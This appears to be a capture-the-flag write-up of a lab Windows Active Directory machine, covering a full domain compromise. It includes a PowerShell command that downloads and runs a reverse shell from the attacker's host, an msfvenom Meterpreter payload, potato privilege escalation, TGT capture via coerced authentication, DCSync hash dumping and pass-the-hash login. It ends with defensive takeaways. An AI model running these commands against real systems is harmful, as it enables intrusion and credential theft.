DarkZero
DarkZero is a hard-difficulty Windows machine designed around an assumed breach scenario in which the attacker is provided with low-privileged user credentials. The machine features an Active Directory environment with Bidirectional trust, Cross-domain MSSQL Trusted Link, and TGT Delegation. The attacker discovers a misconfigured MSSQL trusted link that points to a different domain (darkzero.htb -> darkzero.ext), and the remote login has sysadmin privileges. The attacker enables the xp_cmdshell procedure as a sysadmin and executes commands. The spawned session under MSSQLSERVICE doesn't have the SeImpersonatePrivilege; however, the user account running the service has the SeServiceLogonRight. The attacker is forced to change the password and get a new session with Logon Type 5 (Service Logon) to regain those privileges and gain system privileges on the DC02 (darkzero.ext). To compromise the darkzero.htb domain: the attacker abuses TGT delegation by forcing DC01 to authenticate to DC02, with Unconstrained Delegation enabled.
Reconnaissance
I ran a full-port TCP scan with service and script detection.
$ nmap -p- 10.129.124.140 -sCV --max-retries=3 --min-rate=3000 -T4
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-13 06:40 +0200
Nmap scan report for 10.129.124.140
Host is up (0.024s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-10-12 21:41:43Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2026-10-12T21:28:50
|_Not valid after: 2027-10-12T21:28:50
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2026-10-12T21:28:50
|_Not valid after: 2027-10-12T21:28:50
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-info:
| 10.129.124.140:1433:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.129.124.140:1433:
| Target_Name: darkzero
| NetBIOS_Domain_Name: darkzero
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: darkzero.htb
| DNS_Computer_Name: DC01.darkzero.htb
| DNS_Tree_Name: darkzero.htb
|_ Product_Version: 10.0.26100
|_ssl-date: 2026-10-12T21:43:12+00:00; -7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-10-12T21:40:15
|_Not valid after: 2056-10-12T21:40:15
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2026-10-12T21:28:50
|_Not valid after: 2027-10-12T21:28:50
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: darkzero.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.darkzero.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.darkzero.htb
| Not valid before: 2026-10-12T21:28:50
|_Not valid after: 2027-10-12T21:28:50
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49675/tcp open msrpc Microsoft Windows RPC
49677/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49897/tcp open msrpc Microsoft Windows RPC
49929/tcp open msrpc Microsoft Windows RPC
54862/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -7h00m00s, deviation: 0s, median: -7h00m00s
| smb2-time:
| date: 2026-10-12T21:42:35
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 140.22 seconds
Note: DC01 is a
darkzero.htbdomain controller that also exposes Microsoft SQL Server 2022 on 1433.
I added the hostnames to /etc/hosts.
$ echo '10.129.124.140 darkzero.htb dc01.darkzero.htb' | sudo tee -a /etc/hosts
I synced my clock to the DC so Kerberos wouldn’t break on the skew.
$ sudo rdate -n 10.129.124.140
Domain Enumeration
This is an assumed-breach box: I was given the credentials john.w:RFulUtONCOL!.
I ran a BloodHound collection to map the domain.
$ bloodhound-ce-python -ns 10.129.124.140 -u john.w -p 'RFulUtONCOL!' -d darkzero.htb --zip -c all
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: darkzero.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.darkzero.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.darkzero.htb
WARNING: LDAP Authentication is refused because LDAP signing is enabled. Trying to connect over LDAPS instead...
INFO: Found 5 users
INFO: Found 56 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 1 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC01.darkzero.htb
INFO: Done in 00M 18S
INFO: Compressing output into 20261013071250_bloodhound.zip
Note: It’s a small domain — one computer, five users — but there’s one trust.
darkzero.htbisn’t a standalone forest; there’s a second forest across that trust. (LDAP signing pushed the connection to LDAPS.)
BloodHound shows the trust is a bidirectional cross-forest trust to darkzero.ext.
MSSQL Linked Server Enumeration
I authenticated to the SQL Server on DC01 with the john.w credentials, landing a low-privileged session as darkzero\john.w.
$ impacket-mssqlclient darkzero.htb/john.w:'RFulUtONCOL!'@10.129.124.140 -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (darkzero\john.w guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
----------------- ---------------- ----------- ----------------- ------------------ ------------ -------
DC01 SQLNCLI SQL Server DC01 NULL NULL NULL
DC02.darkzero.ext SQLNCLI SQL Server DC02.darkzero.ext NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
----------------- --------------- --------------- ------------
DC02.darkzero.ext darkzero\john.w 0 dc01_sql_svc
The linked server DC02.darkzero.ext maps my login to the remote account dc01_sql_svc. Switching onto the link, that account is sysadmin on DC02, so I enabled xp_cmdshell there.
SQL (darkzero\john.w guest@master)> use_link "DC02.darkzero.ext"
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-
1
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> enable_xp_cmdshell
INFO(DC02): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC02): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
Note: Queries over the link run on DC02 as
dc01_sql_svc, and since that account issysadmin, I getxp_cmdshelland OS command execution on DC02.
Foothold on DC02
I hosted a Nishang reverse shell.
$ cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 . && python3 -m http.server
And set up a listener.
$ rlwrap nc -lnvp 9001
listening on [any] 9001 ...
Then I triggered it from DC01 through xp_cmdshell on the link to DC02.
SQL >"DC02.darkzero.ext" (dc01_sql_svc dbo@master)> xp_cmdshell "powershell iex(iwr -uri http://10.10.14.56:8000/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.56 -Port 9001"
The shell came back as darkzero-ext\svc_sql on DC02, confirming I was now in the second forest.
connect to [10.10.14.56] from (UNKNOWN) [10.129.124.140] 52869
Windows PowerShell running as user svc_sql on DC02
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Windows\system32>whoami
darkzero-ext\svc_sql
PS C:\Windows\system32> hostname
DC02
PS C:\temp> Get-ADDomain | select forest
forest
------
darkzero.ext
PS C:\Windows\system32> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet:
Connection-specific DNS Suffix . :
IPv4 Address. . . . . . . . . . . : 172.16.20.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 172.16.20.1
PS C:\Windows\system32> Get-ADTrust -Filter * | select Direction
Direction
---------
BiDirectional
Note: DC02 is the domain controller for a separate forest,
darkzero.ext, on an internal172.16.20.0/24network, with a bidirectional trust back todarkzero.htb. The linked SQL server is the only bridge between the two.
Restoring SeImpersonatePrivilege
As a service account, svc_sql should hold SeImpersonatePrivilege, but it had been stripped from the running session. The privilege still lived on the account’s stored logon token, so I pulled down James Forshaw’s NtObjectManager to recover it through a localhost named-pipe authentication.
PS C:\Windows\system32> cd c:\users\svc_sql
PS C:\users\svc_sql> iwr -uri http://10.10.14.56:8000/ntobjectmanager.2.0.1.nupkg -o .\ntobjectmanager.2.0.1.nupkg
PS C:\users\svc_sql> copy-item ntobjectmanager.2.0.1.nupkg ntobjectmanager.2.0.1.zip
PS C:\users\svc_sql> expand-archive ntobjectmanager.2.0.1.zip -destinationpath .\ntobj
PS C:\users\svc_sql> gci -recurse .\ntobj | unblock-file
PS C:\users\svc_sql> import-module .\ntobj\NtObjectManager.psd1
I created a named pipe, listened on it in a background job, connected to it over the localhost SMB path, and impersonated the client. The recovered token carries SeImpersonatePrivilege.
PS C:\users\svc_sql> $pipe = New-NtNamedPipeFile \\.\pipe\pwndalf -Win32Path
PS C:\users\svc_sql> $job = Start-Job {$pipe.Listen()}
PS C:\users\svc_sql> $file = Get-NtFile \\localhost\pipe\pwndalf -Win32Path
PS C:\users\svc_sql> $token = Use-NtObject($pipe.Impersonate()) {Get-NtToken -Impersonation}
PS C:\users\svc_sql> $token.privileges | select name
Name
----
SeAssignPrimaryTokenPrivilege
SeIncreaseQuotaPrivilege
SeMachineAccountPrivilege
SeChangeNotifyPrivilege
SeImpersonatePrivilege
SeCreateGlobalPrivilege
SeIncreaseWorkingSetPrivilege
Note: Stripping a privilege from the live token doesn’t remove it from the account — the stored logon token keeps it, and authenticating to my own pipe hands that full token back. With
SeImpersonatePrivilegerestored, a potato attack is back on the table.
Note: This named-pipe recovery is the unintended route. The intended path is to re-authenticate
svc_sqlwith a service logon (logon type 5) — e.g.RunasCs.exe svc_sql <password> <cmd> --logon-type 5— which mints a fresh token that carriesSeImpersonatePrivilegeby default. Both land in the same place; the pipe trick just avoids needing the account’s password.
SYSTEM on DC02
I generated the Meterpreter payload with msfvenom.
$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.56 LPORT=9002 -f exe > payload.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 509 bytes
Final size of exe file: 7680 bytes
I downloaded GodPotato and the Meterpreter payload.
PS C:\users\svc_sql> iwr -uri http://10.10.14.56:8000/GodPotato-NET4.exe -o gp.exe
PS C:\users\svc_sql> iwr -uri http://10.10.14.56:8000/payload.exe -o payload.exe
Then I started a Metasploit handler.
$ msfconsole -x 'use exploit/multi/handler;set payload windows/x64/meterpreter/reverse_tcp;set lhost 10.10.14.56; set lport 9002; run'
<SNIP>
[*] Using configured payload generic/shell_reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
lhost => 10.10.14.56
lport => 9002
[*] Started reverse TCP handler on 10.10.14.56:9002
Running GodPotato under the recovered SeImpersonate token executed the payload as SYSTEM.
PS C:\users\svc_sql> new-win32process -token $token -commandline 'c:\users\svc_sql\gp.exe -cmd "cmd /c c:\users\svc_sql\payload.exe"'
Process : gp.exe
Thread : thread:3336 - process:1884
Pid : 1884
Tid : 3336
TerminateOnDispose : False
ExitStatus : 259
ExitNtStatus : STATUS_PENDING
The Meterpreter session landed as SYSTEM, and I uploaded Rubeus for the next stage.
[*] Sending stage (255675 bytes) to 10.129.124.140
[*] Meterpreter session 1 opened (10.10.14.56:9002 -> 10.129.124.140:50678) at 2026-10-17 11:25:44 +0200
meterpreter > upload /home/pwndalf/Documents/HTB/Machines/Tools/Rubeus.exe c:\\users\\svc_sql
[*] Uploading : /home/pwndalf/Documents/HTB/Machines/Tools/Rubeus.exe -> c:\users\svc_sql\Rubeus.exe
[*] Completed : /home/pwndalf/Documents/HTB/Machines/Tools/Rubeus.exe -> c:\users\svc_sql\Rubeus.exe
meterpreter > shell
Process 3500 created.
Channel 4 created.
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
User Flag
As SYSTEM, I read the user flag from DC02’s Administrator desktop.
C:\Windows\system32>type c:\users\administrator\desktop\user.txt
type c:\users\administrator\desktop\user.txt
f4f3************************e5c1
Capturing the DC01 Machine Ticket
Now SYSTEM on DC02, I ran Rubeus in monitor mode to harvest any TGTs arriving at the host.
C:\Windows\system32>cd c:\users\svc_sql
c:\Users\svc_sql>.\Rubeus.exe monitor /interval:3 /nowrap
.\Rubeus.exe monitor /interval:3 /nowrap
<SNIP>
[*] Action: TGT Monitoring
[*] Monitoring every 3 seconds for new TGTs
<SNIP>
Since DC02 is a domain controller trusted for unconstrained delegation, I used xp_dirtree from the DC01 SQL session to coerce DC01 into authenticating to DC02.
$ impacket-mssqlclient darkzero.htb/john.w:'RFulUtONCOL!'@10.129.124.140 -windows-auth
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (darkzero\john.w guest@master)> xp_dirtree \\DC02.darkzero.ext\a
subdirectory depth file
------------ ----- ----
Because DC02 holds unconstrained delegation, DC01 forwarded its own TGT with the authentication, and Rubeus caught the DC01$ machine-account ticket.
[*] 10/17/2026 9:27:38 AM UTC - Found new TGT:
User : DC01$@DARKZERO.HTB
StartTime : 10/17/2026 9:27:38 AM
EndTime : 10/17/2026 7:27:37 PM
RenewTill : 10/24/2026 9:27:37 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
Base64EncodedTicket :
doIFjDCCBY<SNIP>VSTy5IVEI=
[*] Ticket cache size: 4
DCSync
I decoded the ticket.
$ echo "doIFjDCCBY<SNIP>VSTy5IVEI=" | base64 -d > dc01.kirbi
Then converted it from kirbi to ccache.
$ impacket-ticketConverter dc01.kirbi dc01.ccache
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] converting kirbi to ccache...
[+] done
Using the DC01$ ticket, I DCSynced the Administrator secret from DC01 via the machine account’s replication rights.
$ KRB5CCNAME=dc01.ccache impacket-secretsdump -k -no-pass dc01.darkzero.htb -just-dc-user administrator
Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:5917507bdf2ef2c2b0a869a1cba40726:::
[*] Kerberos keys grabbed
Administrator:0x14:2f8efea2896670fa78f4da08a53c1ced59018a89b762cbcf6628bd290039b9cd
Administrator:0x13:a23315d970fe9d556be03ab611730673
Administrator:aes256-cts-hmac-sha1-96:d4aa4a338e44acd57b857fc4d650407ca2f9ac3d6f79c9de59141575ab16cabd
Administrator:aes128-cts-hmac-sha1-96:b1e04b87abab7be2c600fc652ac84362
Administrator:0x17:5917507bdf2ef2c2b0a869a1cba40726
[*] Cleaning up...
Note: A DC machine account has the replication rights (
GetChanges/GetChangesAll) DCSync needs, so theDC01$ticket dumps anydarkzero.htbsecret.
Root Flag
I used the Administrator hash with Evil-WinRM to get a shell on DC01 and read the root flag.
$ evil-winrm -i dc01.darkzero.htb -u administrator -H 5917507bdf2ef2c2b0a869a1cba40726
<SNIP>
*Evil-WinRM* PS C:\Users\Administrator\Documents> cat ..\desktop\root.txt
cee0************************35e8
Key Takeaways
MSSQL Linked Servers Bridge Trust Boundaries — A low-privileged login on DC01 ran arbitrary SQL on a domain controller in a different forest through a linked server mapped to a sysadmin account. Links should use least-privilege remote logins, never sysadmin, and xp_cmdshell should stay disabled. The link here was the only path between the two forests.
Stripping a Privilege Isn’t Removing It — SeImpersonatePrivilege was scrubbed from svc_sql’s running session, but the stored logon token still carried it and handed it back through a localhost named-pipe authentication. Harden privileges at the account/policy level, not just on the live token; the stored token is the source of truth.
Potato Attacks Follow SeImpersonate — Once the impersonation privilege was back, GodPotato turned a service-account shell into SYSTEM in one step. Service accounts that must hold SeImpersonatePrivilege should be isolated off domain controllers wherever possible.
Unconstrained Delegation on DCs Is a Coercion Trap — Domain controllers are trusted for unconstrained delegation by default, so coercing DC01 to authenticate to the compromised DC02 (via xp_dirtree) forwarded DC01’s own TGT straight into my hands. Treat any DC you don’t fully control as hostile, monitor features that trigger outbound authentication, and watch for forwarded TGTs landing on unexpected hosts.
Machine Accounts Can DCSync — A domain controller’s computer account holds directory-replication rights, so capturing the DC01$ ticket was equivalent to owning the domain. Monitor DRSUAPI replication from non-DC sources and protect machine-account credentials as carefully as user ones.
